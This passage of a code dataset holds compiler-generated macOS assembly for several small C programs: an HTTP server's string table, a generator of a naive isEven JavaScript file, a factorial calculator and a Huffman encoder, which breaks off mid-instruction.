L_.str.15: ## @.str.15 .asciz "[+] Parent closed socket\n" L_.str.16: ## @.str.16 .asciz "[+] Child spawned successfully\n" L_.str.17: ## @.str.17 .asciz "Bad Request" L_.str.18: ## @.str.18 .asciz "identity" L_.str.19: ## @.str.19 .asciz "[+] Detect end of HTTP verb and URI\n" L_.str.20: ## @.str.20 .asciz "%s %s %s\n" L_.str.21: ## @.str.21 .asciz "[+] HTTP VERB: %s, HTTP URI: %s\n" L_.str.22: ## @.str.22 .asciz "[+] Detect end of HTTP request. Sending data...\n" L_.str.23: ## @.str.23 .asciz "/favicon.ico" L_.str.24: ## @.str.24 .asciz "Not found" L_.str.25: ## @.str.25 .asciz "identify" L_.str.26: ## @.str.26 .asciz "OK" L_.str.27: ## @.str.27 .asciz "gzip" L_.str.28: ## @.str.28 .asciz "[+] Data sent!\n" L_.str.29: ## @.str.29 .asciz "Error calling shutdown()" L_.str.30: ## @.str.30 .asciz "[+] socket shutted down\n" L_.str.31: ## @.str.31 .asciz "Error calling close()" L_.str.32: ## @.str.32 .asciz "[+] Socket closed\n" .subsections_via_symbols
the_stack_data/107954250.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x0, [sp, #16] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _fprintf ldr x0, [sp, #16] mov x9, sp mov x8, #1 str x8, [x9] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf mov w8, #2 stur w8, [x29, #-8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] mov w9, #63355 movk w9, #33, lsl #16 subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_7 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] mov w10, #2 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp, #16] ldur w9, [x29, #-8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fprintf b LBB0_5 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp, #16] ldur w9, [x29, #-8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _fprintf b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB0_1 LBB0_7: ldr x0, [sp, #16] adrp x1, l_.str.6@PAGE add x1, x1, l_.str.6@PAGEOFF bl _fprintf ldr x0, [sp, #16] adrp x1, l_.str.7@PAGE add x1, x1, l_.str.7@PAGEOFF bl _fprintf ldr x0, [sp, #16] bl _fclose ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "index.js" l_.str.1: ; @.str.1 .asciz "w" l_.str.2: ; @.str.2 .asciz "function isEven(number) {\n" l_.str.3: ; @.str.3 .asciz "\t if(number === %d) return false;\n" l_.str.4: ; @.str.4 .asciz "\t else if(number === %d) return true;\n" l_.str.5: ; @.str.5 .asciz "\t else if(number === %d) return false;\n" l_.str.6: ; @.str.6 .asciz "\t else return true;\n" l_.str.7: ; @.str.7 .asciz "} \nmodule.exports = isEven;" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) movq -16(%rbp), %rdi leaq L_.str.2(%rip), %rsi movb $0, %al callq _fprintf movq -16(%rbp), %rdi leaq L_.str.3(%rip), %rsi movl $1, %edx movb $0, %al callq _fprintf movl $2, -8(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $2226043, -8(%rbp) ## imm = 0x21F77B jg LBB0_7 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax movl $2, %ecx cltd idivl %ecx cmpl $0, %edx jne LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rdi movl -8(%rbp), %edx leaq L_.str.4(%rip), %rsi movb $0, %al callq _fprintf jmp LBB0_5 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rdi movl -8(%rbp), %edx leaq L_.str.5(%rip), %rsi movb $0, %al callq _fprintf LBB0_5: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_6 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_7: movq -16(%rbp), %rdi leaq L_.str.6(%rip), %rsi movb $0, %al callq _fprintf movq -16(%rbp), %rdi leaq L_.str.7(%rip), %rsi movb $0, %al callq _fprintf movq -16(%rbp), %rdi callq _fclose movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "index.js" L_.str.1: ## @.str.1 .asciz "w" L_.str.2: ## @.str.2 .asciz "function isEven(number) {\n" L_.str.3: ## @.str.3 .asciz "\t if(number === %d) return false;\n" L_.str.4: ## @.str.4 .asciz "\t else if(number === %d) return true;\n" L_.str.5: ## @.str.5 .asciz "\t else if(number === %d) return false;\n" L_.str.6: ## @.str.6 .asciz "\t else return true;\n" L_.str.7: ## @.str.7 .asciz "} \nmodule.exports = isEven;" .subsections_via_symbols
the_stack_data/150139503.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] mov w8, #1 stur w8, [x29, #-20] ; 4-byte Folded Spill stur w8, [x29, #-16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #12 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldur w8, [x29, #-20] ; 4-byte Folded Reload stur w8, [x29, #-8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-16] ldur w9, [x29, #-8] mul w8, w8, w9 stur w8, [x29, #-16] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB0_1 LBB0_4: ldur w8, [x29, #-12] ; implicit-def: $x10 mov x10, x8 ldur w9, [x29, #-16] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Enter an integer: " l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "The factorial of %d is %d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $1, -16(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -12(%rbp), %rsi movb $0, %al callq _scanf movl $1, -8(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -8(%rbp), %eax cmpl -12(%rbp), %eax jg LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -16(%rbp), %eax imull -8(%rbp), %eax movl %eax, -16(%rbp) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_4: movl -12(%rbp), %esi movl -16(%rbp), %edx leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Enter an integer: " L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "The factorial of %d is %d" .subsections_via_symbols
the_stack_data/919835.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _talloc ; -- Begin function talloc .p2align 2 _talloc: ; @talloc .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] str s0, [sp, #8] mov x0, #48 bl _malloc str x0, [sp] ldr x8, [sp] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp] ; kill: def $x9 killed $xzr str xzr, [x8, #24] ldr x8, [sp] str xzr, [x8, #16] ldr x8, [sp] str xzr, [x8, #8] ldr x8, [sp] str xzr, [x8] ldur w8, [x29, #-4] ldr x9, [sp] strb w8, [x9, #40] ldr s0, [sp, #8] ldr x8, [sp] str s0, [x8, #32] ldr x9, [sp] mov w8, #1 str w8, [x9, #36] b LBB0_2 LBB0_2: ldr x0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _pq_display ; -- Begin function pq_display .p2align 2 _pq_display: ; @pq_display .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ; kill: def $x8 killed $xzr str xzr, [sp, #16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldur x8, [x29, #-8] str x8, [sp, #16] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #16] ldrsb w10, [x8, #40] ldr x8, [sp, #16] ldr s0, [x8, #32] fcvt d0, s0 mov x8, sp ; implicit-def: $x9 mov x9, x10 str x9, [x8] str d0, [x8, #8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #16] ldr x8, [x8, #24] str x8, [sp, #16] b LBB1_1 LBB1_4: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _parse_file ; -- Begin function parse_file .p2align 2 _parse_file: ; @parse_file .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #2096 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str x0, [sp, #40] str x1, [sp, #32] str xzr, [sp, #24] add x0, sp, #48 mov x1, #2040 bl _bzero b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #40] bl _fgetc strb w0, [sp, #23] mov w8, #-1 subs w8, w8, w0, sxtb cset w8, eq tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldrsb x10, [sp, #23] add x8, sp, #48 mov x9, x8 add x10, x9, x10, lsl #3 ldr x9, [x10] add x9, x9, #1 str x9, [x10] ldr x9, [sp, #24] add x9, x9, #1 str x9, [sp, #24] ldrsb w11, [sp, #23] ldrsb w9, [sp, #23] subs w9, w9, #97 ldr x8, [x8, w9, sxtw #3] mov x9, sp ; implicit-def: $x10 mov x10, x11 str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB2_1 LBB2_3: str wzr, [sp, #16] b LBB2_4 LBB2_4: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] subs w8, w8, #255 cset w8, ge tbnz w8, #0, LBB2_7 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_4 Depth=1 ldrsw x9, [sp, #16] add x8, sp, #48 ldr d0, [x8, x9, lsl #3] fmov x8, d0 ucvtf s0, x8 ldr d1, [sp, #24] fmov x8, d1 ucvtf s1, x8 fdiv s0, s0, s1 ldr x8, [sp, #32] ldrsw x9, [sp, #16] str s0, [x8, x9, lsl #2] b LBB2_6 LBB2_6: ; in Loop: Header=BB2_4 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB2_4 LBB2_7: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_9 b LBB2_8 LBB2_8: bl ___stack_chk_fail LBB2_9: add sp, sp, #2096 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _pq_insert ; -- Begin function pq_insert .p2align 2 _pq_insert: ; @pq_insert .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ; kill: def $x8 killed $xzr stur xzr, [x29, #-16] str xzr, [sp, #24] ldur x8, [x29, #-8] ldrsb w10, [x8, #40] ldur x8, [x29, #-8] ldr s0, [x8, #32] fcvt d0, s0 mov x8, sp ; implicit-def: $x9 mov x9, x10 str x9, [x8] str d0, [x8, #8] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf adrp x8, _qhead@PAGE ldr x8, [x8, _qhead@PAGEOFF] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: ldur x8, [x29, #-8] adrp x9, _qhead@PAGE str x8, [x9, _qhead@PAGEOFF] b LBB3_11 LBB3_2: adrp x8, _qhead@PAGE ldr x8, [x8, _qhead@PAGEOFF] stur x8, [x29, #-16] b LBB3_3 LBB3_3: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_10 b LBB3_4 LBB3_4: ; in Loop: Header=BB3_3 Depth=1 ldur x8, [x29, #-16] ldr s0, [x8, #32] ldur x8, [x29, #-8] ldr s1, [x8, #32] fcmp s0, s1 cset w8, le tbnz w8, #0, LBB3_8 b LBB3_5 LBB3_5: ldr x8, [sp, #24] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_7 b LBB3_6 LBB3_6: ldur x8, [x29, #-8] ldr x9, [sp, #24] str x8, [x9, #24] ldur x8, [x29, #-16] ldur x9, [x29, #-8] str x8, [x9, #24] b LBB3_11 LBB3_7: ldur x8, [x29, #-8] adrp x9, _qhead@PAGE str x8, [x9, _qhead@PAGEOFF] ldur x8, [x29, #-16] ldur x9, [x29, #-8] str x8, [x9, #24] b LBB3_11 LBB3_8: ; in Loop: Header=BB3_3 Depth=1 ldur x8, [x29, #-16] str x8, [sp, #24] b LBB3_9 LBB3_9: ; in Loop: Header=BB3_3 Depth=1 ldur x8, [x29, #-16] ldr x8, [x8, #24] stur x8, [x29, #-16] b LBB3_3 LBB3_10: ldur x8, [x29, #-8] ldr x9, [sp, #24] str x8, [x9, #24] b LBB3_11 LBB3_11: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _pq_pop ; -- Begin function pq_pop .p2align 2 _pq_pop: ; @pq_pop .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 ; kill: def $x8 killed $xzr stur xzr, [x29, #-8] adrp x8, _qhead@PAGE ldr x8, [x8, _qhead@PAGEOFF] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: adrp x9, _qhead@PAGE ldr x8, [x9, _qhead@PAGEOFF] stur x8, [x29, #-8] ldr x8, [x9, _qhead@PAGEOFF] ldr x8, [x8, #24] str x8, [x9, _qhead@PAGEOFF] ldur x8, [x29, #-8] ldrsb w10, [x8, #40] ldur x8, [x29, #-8] ldr s0, [x8, #32] fcvt d0, s0 mov x8, sp ; implicit-def: $x9 mov x9, x10 str x9, [x8] str d0, [x8, #8] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf b LBB4_2 LBB4_2: ldur x0, [x29, #-8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _generate_code ; -- Begin function generate_code .p2align 2 _generate_code: ; @generate_code .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _code@GOTPAGE ldr x8, [x8, _code@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill stur x0, [x29, #-8] stur w1, [x29, #-12] ; kill: def $x8 killed $xzr str xzr, [sp, #32] ldur x8, [x29, #-8] str x8, [sp, #24] ldur x8, [x29, #-8] ldr w8, [x8, #36] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_14 b LBB5_1 LBB5_1: ldur x8, [x29, #-8] ldrb w8, [x8, #40] sturb w8, [x29, #-13] ldur w8, [x29, #-12] stur w8, [x29, #-20] ldur w8, [x29, #-12] subs w8, w8, #20 cset w8, le tbnz w8, #0, LBB5_3 b LBB5_2 LBB5_2: mov x9, sp mov x8, #20 str x8, [x9] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf mov w0, #1 bl _exit LBB5_3: ldr x8, [sp, #16] ; 8-byte Folded Reload ldursb x9, [x29, #-13] mov x10, #20 mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-20] add x8, x8, x9 strb wzr, [x8] ldur x8, [x29, #-8] ldr x8, [x8, #16] str x8, [sp, #32] b LBB5_4 LBB5_4: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB5_13 b LBB5_5 LBB5_5: ; in Loop: Header=BB5_4 Depth=1 ldur w8, [x29, #-20] subs w8, w8, #1 stur w8, [x29, #-20] ldr x8, [sp, #24] ldr x9, [sp, #32] ldr x9, [x9, #8] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB5_7 b LBB5_6 LBB5_6: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldursb x9, [x29, #-13] mov x10, #20 mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-20] add x9, x8, x9 mov w8, #49 strb w8, [x9] b LBB5_11 LBB5_7: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #24] ldr x9, [sp, #32] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB5_9 b LBB5_8 LBB5_8: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldursb x9, [x29, #-13] mov x10, #20 mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-20] add x9, x8, x9 mov w8, #48 strb w8, [x9] b LBB5_10 LBB5_9: mov w0, #1 bl _exit LBB5_10: ; in Loop: Header=BB5_4 Depth=1 b LBB5_11 LBB5_11: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #32] str x8, [sp, #24] b LBB5_12 LBB5_12: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #32] ldr x8, [x8, #16] str x8, [sp, #32] b LBB5_4 LBB5_13: ldr x8, [sp, #16] ; 8-byte Folded Reload ldursb w11, [x29, #-13] ldursb x9, [x29, #-13] mov x10, #20 mul x9, x9, x10 add x8, x8, x9 mov x9, sp ; implicit-def: $x10 mov x10, x11 str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf b LBB5_15 LBB5_14: ldur x8, [x29, #-8] ldr x0, [x8] ldur w8, [x29, #-12] add w1, w8, #1 bl _generate_code ldur x8, [x29, #-8] ldr x0, [x8, #8] ldur w8, [x29, #-12] add w1, w8, #1 bl _generate_code b LBB5_15 LBB5_15: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _dump_code ; -- Begin function dump_code .p2align 2 _dump_code: ; @dump_code .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur wzr, [x29, #-12] stur wzr, [x29, #-12] b LBB6_1 LBB6_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-12] subs w8, w8, #255 cset w8, ge tbnz w8, #0, LBB6_6 b LBB6_2 LBB6_2: ; in Loop: Header=BB6_1 Depth=1 ldursw x8, [x29, #-12] mov x9, #20 mul x9, x8, x9 adrp x8, _code@GOTPAGE ldr x8, [x8, _code@GOTPAGEOFF] add x8, x8, x9 ldrb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB6_4 b LBB6_3 LBB6_3: ; in Loop: Header=BB6_1 Depth=1 ldur x0, [x29, #-8] ldur w8, [x29, #-12] ; implicit-def: $x10 mov x10, x8 ldursw x8, [x29, #-12] mov x9, #20 mul x9, x8, x9 adrp x8, _code@GOTPAGE ldr x8, [x8, _code@GOTPAGEOFF] add x8, x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x1, l_.str.8@PAGE add x1, x1, l_.str.8@PAGEOFF bl _fprintf b LBB6_4 LBB6_4: ; in Loop: Header=BB6_1 Depth=1 b LBB6_5 LBB6_5: ; in Loop: Header=BB6_1 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB6_1 LBB6_6: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _encode_fp ; -- Begin function encode_fp .p2align 2 _encode_fp: ; @encode_fp .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] b LBB7_1 LBB7_1: ; =>This Inner Loop Header: Depth=1 ldur x0, [x29, #-8] bl _fgetc strb w0, [sp, #15] mov w8, #-1 subs w8, w8, w0, sxtb cset w8, eq tbnz w8, #0, LBB7_3 b LBB7_2 LBB7_2: ; in Loop: Header=BB7_1 Depth=1 ldr x0, [sp, #16] ldrsb x8, [sp, #15] mov x9, #20 mul x9, x8, x9 adrp x8, _code@GOTPAGE ldr x8, [x8, _code@GOTPAGEOFF] add x8, x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fprintf b LBB7_1 LBB7_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _encode ; -- Begin function encode .p2align 2 _encode: ; @encode .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] b LBB8_1 LBB8_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] ldrb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB8_3 b LBB8_2 LBB8_2: ; in Loop: Header=BB8_1 Depth=1 ldr x0, [sp, #16] ldur x8, [x29, #-8] ldrsb x8, [x8] mov x9, #20 mul x9, x8, x9 adrp x8, _code@GOTPAGE ldr x8, [x8, _code@GOTPAGEOFF] add x8, x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fprintf ldur x8, [x29, #-8] add x8, x8, #1 stur x8, [x29, #-8] b LBB8_1 LBB8_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _cleanall ; -- Begin function cleanall .p2align 2 _cleanall: ; @cleanall .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] ldr w8, [x8, #36] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB9_2 b LBB9_1 LBB9_1: ldr x0, [sp, #8] bl _free b LBB9_3 LBB9_2: ldr x8, [sp, #8] ldr x0, [x8, #8] bl _cleanall ldr x8, [sp, #8] ldr x0, [x8] bl _cleanall ldr x0, [sp, #8] bl _free b LBB9_3 LBB9_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _usage ; -- Begin function usage .p2align 2 _usage: ; @usage .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #1168 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #136] str w0, [sp, #132] str x1, [sp, #120] ; kill: def $x8 killed $xzr str xzr, [sp, #112] str wzr, [sp, #92] str wzr, [sp, #84] adrp x8, l_.str.11@PAGE add x8, x8, l_.str.11@PAGEOFF str x8, [sp, #72] str xzr, [sp, #48] str xzr, [sp, #40] adrp x0, _code@GOTPAGE ldr x0, [x0, _code@GOTPAGEOFF] mov x1, #5100 bl _bzero add x0, sp, #140 mov x1, #1020 bl _bzero b LBB11_1 LBB11_1: ; =>This Inner Loop Header: Depth=1 ldr w0, [sp, #132] ldr x1, [sp, #120] adrp x2, 